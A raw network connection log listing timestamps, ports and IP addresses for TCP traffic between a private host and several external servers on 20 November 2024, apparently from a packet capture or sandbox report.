Nov 20, 2024 00:19:07.506800890 CET	443	49709	142.250.184.228	192.168.2.5
Nov 20, 2024 00:19:07.506812096 CET	49709	443	192.168.2.5	142.250.184.228
Nov 20, 2024 00:19:07.507332087 CET	443	49709	142.250.184.228	192.168.2.5
Nov 20, 2024 00:19:07.507361889 CET	443	49709	142.250.184.228	192.168.2.5
Nov 20, 2024 00:19:07.507381916 CET	49709	443	192.168.2.5	142.250.184.228
Nov 20, 2024 00:19:07.507390022 CET	443	49709	142.250.184.228	192.168.2.5
Nov 20, 2024 00:19:07.507417917 CET	443	49709	142.250.184.228	192.168.2.5
Nov 20, 2024 00:19:07.507488012 CET	49709	443	192.168.2.5	142.250.184.228
Nov 20, 2024 00:19:07.507497072 CET	443	49709	142.250.184.228	192.168.2.5
Nov 20, 2024 00:19:07.507544041 CET	49709	443	192.168.2.5	142.250.184.228
Nov 20, 2024 00:19:07.507730961 CET	443	49709	142.250.184.228	192.168.2.5
Nov 20, 2024 00:19:07.507994890 CET	443	49709	142.250.184.228	192.168.2.5
Nov 20, 2024 00:19:07.510060072 CET	49709	443	192.168.2.5	142.250.184.228
Nov 20, 2024 00:19:07.514070034 CET	49709	443	192.168.2.5	142.250.184.228
Nov 20, 2024 00:19:07.515379906 CET	49709	443	192.168.2.5	142.250.184.228
Nov 20, 2024 00:19:07.515386105 CET	443	49709	142.250.184.228	192.168.2.5
Nov 20, 2024 00:19:08.775585890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:08.775680065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:09.007286072 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:09.007328033 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:09.007390022 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:09.007600069 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:09.007611990 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:09.680840015 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:09.681144953 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:09.681160927 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:09.682727098 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:09.682825089 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:09.684096098 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:09.684180975 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:09.684330940 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:09.684341908 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:09.726164103 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:09.808937073 CET	49721	443	192.168.2.5	142.250.184.228
Nov 20, 2024 00:19:09.808954000 CET	443	49721	142.250.184.228	192.168.2.5
Nov 20, 2024 00:19:09.809036016 CET	49721	443	192.168.2.5	142.250.184.228
Nov 20, 2024 00:19:09.809334040 CET	49721	443	192.168.2.5	142.250.184.228
Nov 20, 2024 00:19:09.809346914 CET	443	49721	142.250.184.228	192.168.2.5
Nov 20, 2024 00:19:09.949537039 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:09.949704885 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:09.949799061 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:09.949800014 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:09.949829102 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:09.949933052 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:09.949947119 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:09.950037956 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:09.950110912 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:09.950117111 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:09.952761889 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:09.952826023 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:09.952836990 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:09.959287882 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:09.959351063 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:09.959361076 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:09.964462996 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:09.964520931 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:09.964529037 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.003216982 CET	49723	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.003310919 CET	443	49723	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.003400087 CET	49723	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.003668070 CET	49723	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.003704071 CET	443	49723	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.007323027 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.037303925 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.037461042 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.037512064 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.037523031 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.041392088 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.041457891 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.041465998 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.041490078 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.041532993 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.047732115 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.059359074 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.059422970 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.059432983 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.059473991 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.059525013 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.060276031 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.066684008 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.066782951 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.066850901 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.066864014 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.066906929 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.072732925 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.078368902 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.078435898 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.078452110 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.084647894 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.084718943 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.084728003 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.090293884 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.090375900 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.090398073 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.090406895 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.090506077 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.096218109 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.102134943 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.102221012 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.102230072 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.129646063 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.129734039 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.129754066 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.129770041 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.129878998 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.129885912 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.130254984 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.130325079 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.130331993 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.132798910 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.132853031 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.132858992 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.138159037 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.138211966 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.138219118 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.138295889 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.138349056 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.138355017 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.143269062 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.143352985 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.143359900 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.148438931 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.148534060 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.148540974 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.153377056 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.153487921 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.153496027 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.158253908 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.158312082 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.158318043 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.163302898 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.163408041 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.163415909 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.168296099 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.168354988 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.168361902 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.173203945 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.173259974 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.173266888 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.178037882 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.178093910 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.178101063 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.182745934 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.182811975 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.182820082 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.187391043 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.187464952 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.187477112 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.191482067 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.191550016 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.191560030 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.195272923 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.195338011 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.195353031 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.199219942 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.199285030 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.199295998 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.203165054 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.203233004 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.203242064 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.206986904 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.207050085 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.207058907 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.210906982 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.210963964 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.210973024 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.214729071 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.214798927 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.214809895 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.220678091 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.220725060 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.220733881 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.221036911 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.221072912 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.221092939 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.221101999 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.221138000 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.221275091 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.221343994 CET	443	49719	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.221398115 CET	49719	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.456475973 CET	443	49721	142.250.184.228	192.168.2.5
Nov 20, 2024 00:19:10.456881046 CET	49721	443	192.168.2.5	142.250.184.228
Nov 20, 2024 00:19:10.456891060 CET	443	49721	142.250.184.228	192.168.2.5
Nov 20, 2024 00:19:10.457362890 CET	443	49721	142.250.184.228	192.168.2.5
Nov 20, 2024 00:19:10.457736015 CET	49721	443	192.168.2.5	142.250.184.228
Nov 20, 2024 00:19:10.457824945 CET	443	49721	142.250.184.228	192.168.2.5
Nov 20, 2024 00:19:10.507800102 CET	49721	443	192.168.2.5	142.250.184.228
Nov 20, 2024 00:19:10.665230989 CET	443	49723	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.665584087 CET	49723	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.665635109 CET	443	49723	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.666018009 CET	443	49723	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.666098118 CET	49723	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.666707993 CET	443	49723	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.666763067 CET	49723	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.667992115 CET	49723	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.668057919 CET	443	49723	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.668224096 CET	49723	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.668240070 CET	443	49723	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.668304920 CET	49723	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.693788052 CET	49726	443	192.168.2.5	184.28.90.27
Nov 20, 2024 00:19:10.693828106 CET	443	49726	184.28.90.27	192.168.2.5
Nov 20, 2024 00:19:10.693919897 CET	49726	443	192.168.2.5	184.28.90.27
Nov 20, 2024 00:19:10.695712090 CET	49726	443	192.168.2.5	184.28.90.27
Nov 20, 2024 00:19:10.695722103 CET	443	49726	184.28.90.27	192.168.2.5
Nov 20, 2024 00:19:10.711338043 CET	443	49723	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.711785078 CET	49723	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.893260956 CET	443	49723	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.893997908 CET	443	49723	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:10.894062996 CET	49723	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.895190001 CET	49723	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:10.895207882 CET	443	49723	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:11.367469072 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:11.367798090 CET	49729	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:11.374345064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:11.374932051 CET	80	49729	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:11.375000954 CET	49729	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:11.375118017 CET	49729	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:11.375133038 CET	49729	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:11.381834984 CET	80	49729	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:11.382416010 CET	80	49729	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:11.386954069 CET	443	49726	184.28.90.27	192.168.2.5
Nov 20, 2024 00:19:11.387012959 CET	49726	443	192.168.2.5	184.28.90.27
Nov 20, 2024 00:19:11.392497063 CET	49726	443	192.168.2.5	184.28.90.27
Nov 20, 2024 00:19:11.392503023 CET	443	49726	184.28.90.27	192.168.2.5
Nov 20, 2024 00:19:11.392745018 CET	443	49726	184.28.90.27	192.168.2.5
Nov 20, 2024 00:19:11.445451975 CET	49726	443	192.168.2.5	184.28.90.27
Nov 20, 2024 00:19:11.499562025 CET	49726	443	192.168.2.5	184.28.90.27
Nov 20, 2024 00:19:11.543381929 CET	443	49726	184.28.90.27	192.168.2.5
Nov 20, 2024 00:19:11.696500063 CET	443	49726	184.28.90.27	192.168.2.5
Nov 20, 2024 00:19:11.696569920 CET	443	49726	184.28.90.27	192.168.2.5
Nov 20, 2024 00:19:11.696621895 CET	49726	443	192.168.2.5	184.28.90.27
Nov 20, 2024 00:19:11.698188066 CET	49726	443	192.168.2.5	184.28.90.27
Nov 20, 2024 00:19:11.698201895 CET	443	49726	184.28.90.27	192.168.2.5
Nov 20, 2024 00:19:11.698213100 CET	49726	443	192.168.2.5	184.28.90.27
Nov 20, 2024 00:19:11.698218107 CET	443	49726	184.28.90.27	192.168.2.5
Nov 20, 2024 00:19:11.748188972 CET	49730	443	192.168.2.5	184.28.90.27
Nov 20, 2024 00:19:11.748233080 CET	443	49730	184.28.90.27	192.168.2.5
Nov 20, 2024 00:19:11.748311043 CET	49730	443	192.168.2.5	184.28.90.27
Nov 20, 2024 00:19:11.748763084 CET	49730	443	192.168.2.5	184.28.90.27
Nov 20, 2024 00:19:11.748781919 CET	443	49730	184.28.90.27	192.168.2.5
Nov 20, 2024 00:19:11.900834084 CET	49731	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:11.900927067 CET	443	49731	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:11.901010990 CET	49731	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:11.901243925 CET	49731	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:11.901279926 CET	443	49731	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:12.423482895 CET	443	49730	184.28.90.27	192.168.2.5
Nov 20, 2024 00:19:12.423553944 CET	49730	443	192.168.2.5	184.28.90.27
Nov 20, 2024 00:19:12.427232981 CET	49730	443	192.168.2.5	184.28.90.27
Nov 20, 2024 00:19:12.427248955 CET	443	49730	184.28.90.27	192.168.2.5
Nov 20, 2024 00:19:12.427820921 CET	443	49730	184.28.90.27	192.168.2.5
Nov 20, 2024 00:19:12.430625916 CET	49730	443	192.168.2.5	184.28.90.27
Nov 20, 2024 00:19:12.475372076 CET	443	49730	184.28.90.27	192.168.2.5
Nov 20, 2024 00:19:12.549478054 CET	443	49731	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:12.549750090 CET	49731	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:12.549777031 CET	443	49731	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:12.550290108 CET	443	49731	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:12.550760984 CET	49731	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:12.550760984 CET	49731	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:12.550779104 CET	443	49731	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:12.550815105 CET	49731	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:12.550843954 CET	443	49731	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:12.601480007 CET	80	49729	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:12.601552010 CET	49731	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:12.601622105 CET	49729	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:12.712184906 CET	443	49730	184.28.90.27	192.168.2.5
Nov 20, 2024 00:19:12.712337017 CET	443	49730	184.28.90.27	192.168.2.5
Nov 20, 2024 00:19:12.712945938 CET	49730	443	192.168.2.5	184.28.90.27
Nov 20, 2024 00:19:12.714766026 CET	49730	443	192.168.2.5	184.28.90.27
Nov 20, 2024 00:19:12.714796066 CET	443	49730	184.28.90.27	192.168.2.5
Nov 20, 2024 00:19:12.733139038 CET	49721	443	192.168.2.5	142.250.184.228
Nov 20, 2024 00:19:12.739532948 CET	49729	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:12.744453907 CET	80	49729	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:12.789052010 CET	443	49731	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:12.790081978 CET	443	49731	142.250.185.174	192.168.2.5
Nov 20, 2024 00:19:12.790205956 CET	49731	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:12.796087980 CET	49731	443	192.168.2.5	142.250.185.174
Nov 20, 2024 00:19:13.464885950 CET	80	49729	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:13.464982033 CET	49729	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:16.194363117 CET	49734	443	192.168.2.5	94.245.104.56
Nov 20, 2024 00:19:16.194410086 CET	443	49734	94.245.104.56	192.168.2.5
Nov 20, 2024 00:19:16.194461107 CET	49734	443	192.168.2.5	94.245.104.56
Nov 20, 2024 00:19:16.342879057 CET	49734	443	192.168.2.5	94.245.104.56
Nov 20, 2024 00:19:16.342906952 CET	443	49734	94.245.104.56	192.168.2.5
Nov 20, 2024 00:19:17.172034979 CET	443	49734	94.245.104.56	192.168.2.5
Nov 20, 2024 00:19:17.172421932 CET	49734	443	192.168.2.5	94.245.104.56
Nov 20, 2024 00:19:17.172435999 CET	443	49734	94.245.104.56	192.168.2.5
Nov 20, 2024 00:19:17.173937082 CET	443	49734	94.245.104.56	192.168.2.5
Nov 20, 2024 00:19:17.173993111 CET	49734	443	192.168.2.5	94.245.104.56
Nov 20, 2024 00:19:17.175092936 CET	49734	443	192.168.2.5	94.245.104.56
Nov 20, 2024 00:19:17.175178051 CET	443	49734	94.245.104.56	192.168.2.5
Nov 20, 2024 00:19:17.175340891 CET	49734	443	192.168.2.5	94.245.104.56
Nov 20, 2024 00:19:17.175349951 CET	443	49734	94.245.104.56	192.168.2.5
Nov 20, 2024 00:19:17.243686914 CET	49734	443	192.168.2.5	94.245.104.56
Nov 20, 2024 00:19:17.418926954 CET	443	49734	94.245.104.56	192.168.2.5
Nov 20, 2024 00:19:17.419622898 CET	443	49734	94.245.104.56	192.168.2.5
Nov 20, 2024 00:19:17.419676065 CET	49734	443	192.168.2.5	94.245.104.56
Nov 20, 2024 00:19:17.420695066 CET	49734	443	192.168.2.5	94.245.104.56
Nov 20, 2024 00:19:17.420707941 CET	443	49734	94.245.104.56	192.168.2.5
Nov 20, 2024 00:19:17.955213070 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:17.955295086 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:17.955378056 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:17.956154108 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:17.956187963 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:18.366389990 CET	49755	443	192.168.2.5	13.32.110.123
Nov 20, 2024 00:19:18.366420031 CET	443	49755	13.32.110.123	192.168.2.5
Nov 20, 2024 00:19:18.366471052 CET	49755	443	192.168.2.5	13.32.110.123
Nov 20, 2024 00:19:18.366661072 CET	49755	443	192.168.2.5	13.32.110.123
Nov 20, 2024 00:19:18.366676092 CET	443	49755	13.32.110.123	192.168.2.5
Nov 20, 2024 00:19:18.379167080 CET	49758	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:18.379216909 CET	443	49758	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:18.379287958 CET	49758	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:18.381158113 CET	49758	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:18.381187916 CET	443	49758	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:18.469611883 CET	80	49729	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:18.469686985 CET	49729	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:18.491362095 CET	49759	443	192.168.2.5	52.149.20.212
Nov 20, 2024 00:19:18.491394043 CET	443	49759	52.149.20.212	192.168.2.5
Nov 20, 2024 00:19:18.491466045 CET	49759	443	192.168.2.5	52.149.20.212
Nov 20, 2024 00:19:18.495043039 CET	49759	443	192.168.2.5	52.149.20.212
Nov 20, 2024 00:19:18.495064020 CET	443	49759	52.149.20.212	192.168.2.5
Nov 20, 2024 00:19:18.645389080 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:18.645482063 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:18.649616957 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:18.649631023 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:18.650041103 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:18.662044048 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:18.707339048 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:18.770813942 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:18.770879984 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:18.770924091 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:18.770953894 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:18.770988941 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:18.771007061 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:18.771017075 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:18.771141052 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:18.847472906 CET	49729	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:18.847754955 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:18.853581905 CET	80	49729	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:18.853594065 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:18.853679895 CET	49762	80	192.168.2.5	185.215.113.206
